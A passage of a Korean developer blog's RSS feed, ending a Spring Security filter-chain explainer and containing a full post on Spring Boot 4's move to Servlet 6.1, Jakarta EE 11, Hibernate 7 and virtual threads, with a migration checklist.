                &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;logoutSuccessUrl&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;/?logout&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;build&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;이 설정의 로직:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;승인 관련 경로&lt;/strong&gt; (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;@Order(1)&lt;/code&gt;): &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/accounts/approvals/**&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/loans/approvals/**&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/credit-cards/approvals/**&lt;/code&gt;는 ADMIN 권한 필요, HTTP Basic 인증 사용&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;뱅킹 경로&lt;/strong&gt; (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;@Order(2)&lt;/code&gt;): &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/accounts/**&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/loans/**&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/credit-cards/**&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/balances/**&lt;/code&gt; 중에서
    &lt;ul&gt;
      &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/balances/**&lt;/code&gt;는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;VIEW_BALANCE&lt;/code&gt; 권한 필요&lt;/li&gt;
      &lt;li&gt;나머지는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;USER&lt;/code&gt; 권한 필요&lt;/li&gt;
      &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/approvals/&lt;/code&gt;가 포함된 요청은 이미 첫 번째 체인에서 처리되므로 여기선 안 걸림&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;기본 경로&lt;/strong&gt; (우선순위 가장 낮음):
    &lt;ul&gt;
      &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/user-login&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/user-logout&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/notices&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/contact&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/register&lt;/code&gt;는 인증 없이 접근 가능&lt;/li&gt;
      &lt;li&gt;나머지는 인증 필요&lt;/li&gt;
      &lt;li&gt;폼 로그인 사용&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;h1 id=&quot;마무리하며&quot;&gt;마무리하며&lt;/h1&gt;

&lt;p&gt;스프링 시큐리티의 핵심을 정리하면:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;strong&gt;필터 체인 기반 아키텍처&lt;/strong&gt;: 서블릿 필터를 기반으로 작동&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;DelegatingFilterProxy&lt;/strong&gt;: 서블릿 컨테이너와 스프링을 연결&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;FilterChainProxy&lt;/strong&gt;: 여러 SecurityFilterChain 중 적절한 것을 선택&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;SecurityFilterChain&lt;/strong&gt;: 실제 보안 필터들의 집합&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;우선순위&lt;/strong&gt;: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;@Order&lt;/code&gt;로 체인 실행 순서 제어&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;매처 구분&lt;/strong&gt;: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;securityMatcher&lt;/code&gt;(체인 적용 범위) vs &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;requestMatchers&lt;/code&gt;(개별 규칙)&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;이 글이 오랜만에 스프링 시큐리티를 만지는 분들께 도움이 되길 바랍니다. 기억이 가물가물할 때 다시 읽어보세요! 🚀&lt;/p&gt;

&lt;script async=&quot;&quot; src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js&quot;&gt;&lt;/script&gt;

&lt;!-- 컨텐츠내 --&gt;
&lt;p&gt;&lt;ins class=&quot;adsbygoogle&quot; style=&quot;display:block&quot; data-ad-client=&quot;ca-pub-3234744071843247&quot; data-ad-slot=&quot;1671969273&quot; data-ad-format=&quot;auto&quot; data-full-width-responsive=&quot;true&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;&lt;/p&gt;
</description>
        <pubDate>Fri, 09 Jan 2026 13:00:00 +0900</pubDate>
        <link>http://thecodinglog.github.io/spring/security/2026/01/09/remind-spring-security.html</link>
        <guid isPermaLink="true">http://thecodinglog.github.io/spring/security/2026/01/09/remind-spring-security.html</guid>
        
        <category>Spring</category>
        
        <category>Security</category>
        
        
        <category>Spring</category>
        
        <category>Security</category>
        
      </item>
    
      <item>
        <title>Spring Boot 4와 Servlet 6.1 - 현대적 웹 애플리케이션으로의 진화</title>
        <description>&lt;h1 id=&quot;들어가며&quot;&gt;들어가며&lt;/h1&gt;

&lt;p&gt;Spring Boot 4가 출시되면서 가장 큰 변화 중 하나는 &lt;strong&gt;Servlet 6.1을 필수로 요구&lt;/strong&gt;한다는 점입니다. 이번 글에서는 Servlet의 역사부터 Spring Boot와의 관계, 그리고 최신 변화까지 살펴보겠습니다.&lt;/p&gt;

&lt;script async=&quot;&quot; src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js&quot;&gt;&lt;/script&gt;

&lt;!-- 컨텐츠내 --&gt;
&lt;p&gt;&lt;ins class=&quot;adsbygoogle&quot; style=&quot;display:block&quot; data-ad-client=&quot;ca-pub-3234744071843247&quot; data-ad-slot=&quot;1671969273&quot; data-ad-format=&quot;auto&quot; data-full-width-responsive=&quot;true&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;&lt;/p&gt;

&lt;h1 id=&quot;servlet이란-무엇인가&quot;&gt;Servlet이란 무엇인가?&lt;/h1&gt;

&lt;p&gt;Servlet은 Java로 웹 애플리케이션을 만들 때 HTTP 요청을 처리하는 &lt;strong&gt;서버 측 프로그램&lt;/strong&gt;입니다. Spring Boot로 API를 만들면, 내부적으로는 Servlet 기술이 동작하고 있습니다. Spring의 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DispatcherServlet&lt;/code&gt;도 결국 Servlet을 확장한 것이죠.&lt;/p&gt;

&lt;p&gt;쉽게 말해, Servlet은 웹 서버와 애플리케이션 사이의 &lt;strong&gt;통역사&lt;/strong&gt; 역할을 합니다. 사용자의 요청을 받아서 Java 코드로 전달하고, 그 결과를 다시 HTTP 응답으로 변환해주는 거죠.&lt;/p&gt;

&lt;h1 id=&quot;spring-boot와-servlet의-관계&quot;&gt;Spring Boot와 Servlet의 관계&lt;/h1&gt;

&lt;p&gt;Spring Boot는 내부적으로 Tomcat, Jetty 같은 &lt;strong&gt;내장 웹 서버(Embedded Container)&lt;/strong&gt;를 사용합니다. 이 웹 서버들이 바로 Servlet 컨테이너인데요, Spring Boot 버전이 올라갈 때마다 요구하는 Servlet 버전도 함께 올라갑니다.&lt;/p&gt;

&lt;h3 id=&quot;버전별-매핑-한눈에-보기&quot;&gt;버전별 매핑 한눈에 보기&lt;/h3&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Spring Boot&lt;/th&gt;
      &lt;th&gt;Spring Framework&lt;/th&gt;
      &lt;th&gt;최소 Servlet&lt;/th&gt;
      &lt;th&gt;Jakarta EE&lt;/th&gt;
      &lt;th&gt;지원 컨테이너&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;1.x ~ 2.0.x&lt;/td&gt;
      &lt;td&gt;4.x ~ 5.x&lt;/td&gt;
      &lt;td&gt;3.0&lt;/td&gt;
      &lt;td&gt;Java EE 7/8&lt;/td&gt;
      &lt;td&gt;Tomcat 7/8, Jetty 8/9&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;2.1.x ~ 2.7.x&lt;/td&gt;
      &lt;td&gt;5.1.x ~ 5.3.x&lt;/td&gt;
      &lt;td&gt;3.1&lt;/td&gt;
      &lt;td&gt;Java EE 8&lt;/td&gt;
      &lt;td&gt;Tomcat 9/10&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;3.0.x ~ 3.3.x&lt;/td&gt;
      &lt;td&gt;6.0.x ~ 6.1.x&lt;/td&gt;
      &lt;td&gt;6.0&lt;/td&gt;
      &lt;td&gt;Jakarta EE 10&lt;/td&gt;
      &lt;td&gt;Tomcat 10.1 (Java 17+)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;strong&gt;4.0+&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;&lt;strong&gt;7.0+&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;&lt;strong&gt;6.1&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;&lt;strong&gt;Jakarta EE 11&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;&lt;strong&gt;Tomcat 11, Jetty 12&lt;/strong&gt;&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;보시다시피 Spring Boot 4는 Spring Framework 7과 함께 Servlet 6.1을 기반으로 합니다. 이는 단순한 버전업이 아니라, &lt;strong&gt;Jakarta EE 11&lt;/strong&gt;이라는 새로운 플랫폼으로의 전환을 의미합니다.&lt;/p&gt;

&lt;h1 id=&quot;servlet의-진화-과정&quot;&gt;Servlet의 진화 과정&lt;/h1&gt;

&lt;p&gt;Servlet은 20년 넘게 꾸준히 발전해왔습니다. 주요 버전별 특징을 살펴보겠습니다.&lt;/p&gt;

&lt;h3 id=&quot;servlet-30-2009년---현대화의-시작&quot;&gt;Servlet 3.0 (2009년) - 현대화의 시작&lt;/h3&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;비동기 처리&lt;/strong&gt; 도입: 긴 작업을 처리할 때 쓰레드를 블로킹하지 않고 효율적으로 처리&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;어노테이션 지원&lt;/strong&gt;: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;@WebServlet&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;@WebFilter&lt;/code&gt; 같은 어노테이션으로 web.xml 없이도 설정 가능&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;파일 업로드 개선&lt;/strong&gt;: 멀티파트 업로드를 표준으로 지원&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;servlet-31-2013년---성능-강화&quot;&gt;Servlet 3.1 (2013년) - 성능 강화&lt;/h3&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;논블로킹 I/O&lt;/strong&gt;: 네트워크 통신을 더욱 효율적으로 처리&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;HTTP 프로토콜 업그레이드&lt;/strong&gt;: WebSocket 같은 새로운 프로토콜 지원&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;보안 강화&lt;/strong&gt;: 더 안전한 웹 애플리케이션 개발 가능&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;servlet-50-2020년---대전환&quot;&gt;Servlet 5.0 (2020년) - 대전환&lt;/h3&gt;
&lt;p&gt;가장 큰 변화는 &lt;strong&gt;패키지 이름 변경&lt;/strong&gt;입니다:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;javax.servlet&lt;/code&gt; → &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jakarta.servlet&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;이게 왜 중요할까요? Oracle이 Java EE를 Eclipse 재단에 기부하면서, 상표권 문제로 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;javax&lt;/code&gt;를 더 이상 사용할 수 없게 되었습니다. 그래서 모든 패키지 이름을 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jakarta&lt;/code&gt;로 바꾼 거죠. Spring Boot 3부터 이 변화가 적용되었고, 기존 코드에서 import 문을 모두 수정해야 했습니다.&lt;/p&gt;

&lt;h3 id=&quot;servlet-60-2022년---현대화&quot;&gt;Servlet 6.0 (2022년) - 현대화&lt;/h3&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Java SE 17 기준&lt;/strong&gt;: 최신 Java 기능 활용&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;모듈화 개선&lt;/strong&gt;: 더 나은 구조화&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;ByteBuffer 지원&lt;/strong&gt;: 메모리 효율적인 I/O 처리&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;쿠키 처리 개선&lt;/strong&gt;: 더 유연한 쿠키 설정&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;servlet-61-2024년---안정성-강화&quot;&gt;Servlet 6.1 (2024년) - 안정성 강화&lt;/h3&gt;
&lt;p&gt;Spring Boot 4가 요구하는 최신 버전입니다:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;strong&gt;SecurityManager 완전 제거&lt;/strong&gt;
    &lt;ul&gt;
      &lt;li&gt;오래된 보안 메커니즘인 SecurityManager가 Java에서 deprecated 되면서 Servlet에서도 완전히 제거되었습니다&lt;/li&gt;
      &lt;li&gt;더 이상 사용하지 않는 코드를 정리해서 경량화&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;HTTP 상태 코드 및 문자 인코딩 개선&lt;/strong&gt;
    &lt;ul&gt;
      &lt;li&gt;더 정확한 상태 코드 처리&lt;/li&gt;
      &lt;li&gt;다국어 처리가 더욱 정교해짐&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Charset을 String 대신 직접 사용&lt;/strong&gt;
    &lt;ul&gt;
      &lt;li&gt;문자 인코딩을 더 타입 안전하게 처리&lt;/li&gt;
      &lt;li&gt;실수로 잘못된 인코딩 이름을 넣는 것을 방지&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;ByteBuffer 지원 강화&lt;/strong&gt;
    &lt;ul&gt;
      &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ServletInputStream&lt;/code&gt;/&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;OutputStream&lt;/code&gt;에서 ByteBuffer를 직접 사용 가능&lt;/li&gt;
      &lt;li&gt;대용량 데이터 처리 시 성능 향상&lt;/li&gt;
      &lt;li&gt;비동기 I/O가 더욱 효율적으로 동작&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;h1 id=&quot;spring-boot-4에서의-실질적-변화&quot;&gt;Spring Boot 4에서의 실질적 변화&lt;/h1&gt;

&lt;h3 id=&quot;1-지원-컨테이너-변경&quot;&gt;1. 지원 컨테이너 변경&lt;/h3&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;사용 가능&lt;/strong&gt;: Tomcat 11, Jetty 12&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;제거됨&lt;/strong&gt;: Undertow (Servlet 6.1 미지원)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;기존에 Undertow를 사용하던 프로젝트는 Tomcat이나 Jetty로 마이그레이션해야 합니다.&lt;/p&gt;

&lt;h3 id=&quot;2-java-17-이상-필수&quot;&gt;2. Java 17 이상 필수&lt;/h3&gt;
&lt;p&gt;Servlet 6.1이 Java 17을 기준으로 하기 때문에, Spring Boot 4도 최소 Java 17을 요구합니다. Java 8이나 11을 쓰던 프로젝트는 업그레이드가 필요합니다.&lt;/p&gt;

&lt;h3 id=&quot;3-hibernate-70-전환&quot;&gt;3. Hibernate 7.0 전환&lt;/h3&gt;
&lt;p&gt;Jakarta EE 11은 JPA 3.2를 포함합니다. 이에 따라 Hibernate도 7.x 버전으로 업그레이드되며, 몇 가지 주의할 점이 있습니다:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Dialect 설정 변경&lt;/strong&gt;: 데이터베이스별 Dialect 클래스 경로나 설정 방식이 일부 변경될 수 있습니다&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;어노테이션 동작 변경&lt;/strong&gt;: JPA 3.2의 새로운 기능과 개선사항이 반영되어 기존 어노테이션의 세부 동작이 달라질 수 있습니다&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;쿼리 최적화&lt;/strong&gt;: Hibernate 7은 성능 개선과 함께 쿼리 생성 로직이 일부 변경되었습니다&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;실무에서는 마이그레이션 전 충분한 테스트, 특히 복잡한 쿼리나 커스텀 Dialect를 사용하는 경우 동작 검증이 필요합니다.&lt;/p&gt;

&lt;h3 id=&quot;4-가상-스레드virtual-threads-기본-활성화&quot;&gt;4. 가상 스레드(Virtual Threads) 기본 활성화&lt;/h3&gt;
&lt;p&gt;Spring Boot 4는 Java 21 이상 환경에서 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;spring.threads.virtual.enabled=true&lt;/code&gt;를 기본값으로 채택하는 방향입니다. 가상 스레드는 경량 스레드로, 수만 개의 동시 연결을 효율적으로 처리할 수 있습니다.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;주의사항:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;ThreadLocal 사용 점검&lt;/strong&gt;: 스레드 로컬을 많이 사용하는 라이브러리(레거시 보안 필터, 일부 로깅 프레임워크 등)에서 메모리 누수가 발생할 수 있습니다&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;스레드 풀 설정 재검토&lt;/strong&gt;: 기존의 스레드 풀 크기 설정이 가상 스레드 환경에서는 의미가 달라질 수 있습니다&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;호환성 확인&lt;/strong&gt;: 사용 중인 서드파티 라이브러리가 가상 스레드를 지원하는지 확인이 필요합니다&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;5-observability-강화&quot;&gt;5. Observability 강화&lt;/h3&gt;
&lt;p&gt;Servlet 6.1 레이어에서 발생하는 이벤트를 Micrometer가 더 세밀하게 추적합니다:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;메트릭 명칭 변경&lt;/strong&gt;: 대시보드에 표시되는 일부 메트릭 이름이 변경될 수 있어, Grafana나 Prometheus 대시보드 쿼리를 업데이트해야 할 수 있습니다&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;추적 정보 증가&lt;/strong&gt;: HTTP 요청/응답에 대한 더 상세한 추적 정보가 수집됩니다&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;성능 오버헤드 최소화&lt;/strong&gt;: 강화된 추적 기능에도 불구하고 성능 영향은 최소화되도록 설계되었습니다&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;모니터링 환경을 구축한 경우, 업그레이드 후 대시보드와 알람 설정을 재검토하는 것이 좋습니다.&lt;/p&gt;

&lt;h3 id=&quot;6-성능과-안정성-개선&quot;&gt;6. 성능과 안정성 개선&lt;/h3&gt;
&lt;p&gt;ByteBuffer 지원이 강화되면서 특히 다음 상황에서 성능이 개선됩니다:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;파일 업로드/다운로드&lt;/li&gt;
  &lt;li&gt;스트리밍 API&lt;/li&gt;
  &lt;li&gt;대용량 데이터 처리&lt;/li&gt;
  &lt;li&gt;실시간 통신&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;마이그레이션-체크리스트&quot;&gt;마이그레이션 체크리스트&lt;/h1&gt;

&lt;h3 id=&quot;버전-업그레이드-시-확인-사항&quot;&gt;버전 업그레이드 시 확인 사항&lt;/h3&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;strong&gt;Java 버전 확인&lt;/strong&gt;
    &lt;ul&gt;
      &lt;li&gt;Spring Boot 4 사용 시 최소 Java 17 필요 (가상 스레드는 Java 21+)&lt;/li&gt;
      &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pom.xml&lt;/code&gt; 또는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;build.gradle&lt;/code&gt;에서 Java 버전 설정 확인&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;의존성 패키지 확인&lt;/strong&gt;
    &lt;ul&gt;
      &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;javax.servlet&lt;/code&gt; → &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jakarta.servlet&lt;/code&gt; 변경 여부 확인&lt;/li&gt;
      &lt;li&gt;Spring Boot 3 이상이면 이미 jakarta로 전환됨&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;웹 컨테이너 확인&lt;/strong&gt;
    &lt;ul&gt;
      &lt;li&gt;Undertow 사용 중이면 Tomcat이나 Jetty로 변경&lt;/li&gt;
      &lt;li&gt;기본 내장 Tomcat을 쓴다면 자동으로 Tomcat 11이 사용됨&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;데이터베이스 레이어 점검&lt;/strong&gt;
    &lt;ul&gt;
      &lt;li&gt;Hibernate Dialect 설정 확인&lt;/li&gt;
      &lt;li&gt;JPA 쿼리 및 네이티브 쿼리 테스트&lt;/li&gt;
      &lt;li&gt;트랜잭션 동작 검증&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;가상 스레드 준비&lt;/strong&gt;
    &lt;ul&gt;
      &lt;li&gt;ThreadLocal 사용 패턴 검토&lt;/li&gt;
      &lt;li&gt;레거시 동기화 코드 확인&lt;/li&gt;
      &lt;li&gt;성능 테스트 수행&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;모니터링 환경 업데이트&lt;/strong&gt;
    &lt;ul&gt;
      &lt;li&gt;메트릭 대시보드 쿼리 확인&lt;/li&gt;
      &lt;li&gt;알람 임계값 재조정&lt;/li&gt;
      &lt;li&gt;로그 포맷 변경 여부 확인&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;테스트 실행&lt;/strong&gt;
    &lt;ul&gt;
      &lt;li&gt;비동기 처리 부분 테스트&lt;/li&gt;
      &lt;li&gt;파일 업로드/다운로드 기능 테스트&lt;/li&gt;
      &lt;li&gt;문자 인코딩 관련 기능 테스트&lt;/li&gt;
      &lt;li&gt;부하 테스트로 성능 검증&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;h1 id=&quot;실무-관점에서의-접근&quot;&gt;실무 관점에서의 접근&lt;/h1&gt;

&lt;p&gt;대부분의 Spring Boot 애플리케이션은 Servlet을 직접 다루지 않습니다. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;@RestController&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;@RequestMapping&lt;/code&gt; 같은 Spring MVC 어노테이션을 사용하죠. 하지만 내부적으로는 모두 Servlet 위에서 동작합니다.&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// 일반적으로 작성하는 코드&lt;/span&gt;
&lt;span class=&quot;nd&quot;&gt;@RestController&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;UserController&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nd&quot;&gt;@GetMapping&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;/users&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;List&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;User&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;getUsers&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;userService&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;findAll&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// 내부적으로는 DispatcherServlet이 이 요청을 처리&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// DispatcherServlet → Servlet 6.1 기반으로 동작&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Servlet 버전이 올라가면서 이런 내부 동작이 더 빠르고 안정적으로 개선됩니다. 특히 가상 스레드와 결합되면, 동일한 하드웨어에서 훨씬 많은 동시 요청을 처리할 수 있습니다.&lt;/p&gt;

&lt;h1 id=&quot;정리하며&quot;&gt;정리하며&lt;/h1&gt;

&lt;p&gt;Spring Boot 4의 Servlet 6.1 요구사항은 단순한 버전업이 아닙니다. &lt;strong&gt;Java 생태계 전체의 현대화&lt;/strong&gt; 과정이죠:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Java EE → Jakarta EE로의 전환&lt;/li&gt;
  &lt;li&gt;오래된 코드 제거 (SecurityManager 등)&lt;/li&gt;
  &lt;li&gt;최신 Java 기능 활용 (Java 17+, 가상 스레드)&lt;/li&gt;
  &lt;li&gt;성능 개선 (ByteBuffer, 비동기 I/O)&lt;/li&gt;
  &lt;li&gt;데이터 접근 계층 현대화 (Hibernate 7.0, JPA 3.2)&lt;/li&gt;
  &lt;li&gt;운영 가시성 향상 (Observability 강화)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;핵심 요약:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Spring Boot 4 = Spring Framework 7 + Servlet 6.1 + Jakarta EE 11&lt;/li&gt;
  &lt;li&gt;Java 17 최소, Java 21 권장 (가상 스레드 활용)&lt;/li&gt;
  &lt;li&gt;Hibernate 7.0 전환으로 JPA 레이어 개선&lt;/li&gt;
  &lt;li&gt;더 빠르고, 더 안정적이며, 더 관찰 가능한 애플리케이션 구축 가능&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;프로덕션 환경에 적용하기 전에는 충분한 테스트와 성능 검증을 거치시길 권장합니다. Spring 공식 문서와 마이그레이션 가이드를 참고하면 더 원활한 전환이 가능할 것입니다. 🚀&lt;/p&gt;

&lt;script async=&quot;&quot; src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js&quot;&gt;&lt;/script&gt;

&lt;!-- 컨텐츠내 --&gt;
